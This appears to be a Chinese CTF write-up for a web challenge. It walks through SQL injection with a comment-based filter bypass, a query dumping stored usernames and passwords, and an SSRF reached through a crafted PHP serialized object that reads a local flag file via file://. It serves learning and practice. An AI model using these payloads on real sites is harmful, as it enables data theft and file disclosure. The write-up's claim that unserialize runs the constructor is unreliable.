注册账号登录,找到view.php存在get注入。
?no=1 and 1=2 #报错 ?no=1 and 1=1 #正常说明存在注入点。
order by 判断列数为4。
尝试联合查询
?no=-1 union select 1,2,3,4#
检测到入侵,看来有过滤。
?no=-1 union # 这样话报出语法错误。
加上select 呢
?no=-1 union select # 报出hack
看来是对select 检测。 大小写,双写都没绕过,试了注释绕过成功。
?no=-1 union/**/select 1,2,3,4#报出显示位
最后报出数据
?no=-1 union/**/select 1,(/**/select group_concat(username,'~',passwd,'~',data) from users),3,4#
看来data都是以序列化格式存储的。
看来师傅们的wp才知道还要扫一下后台,掏出dirsearch 扫到robots.txt 下载到bak源码备份文件。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
get函数中存在ssrf,并且也没有过滤。
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。
ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
所以我们可以往数据库里插一个url 当执行get函数时就会访问到我们无法通过外网直接无法访问,而目标服务器可以问的资源。
对于curl支持file协议,可以这样读取文件:
file:///var/www/html/flag.php
<?php
class UserInfo
{
public $name = "1";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
$b = serialize($a);
echo $b;
反序列化时,反序列化对象会自动执行构造函数。所以我们编写脚本,将需要构造的ssrf放在blog属性中,让其在反序列化时被调用。
http://21641cc4-0bbe-412b-a969-e19ce567213e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,1,0,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
执行后iframe标签得到flag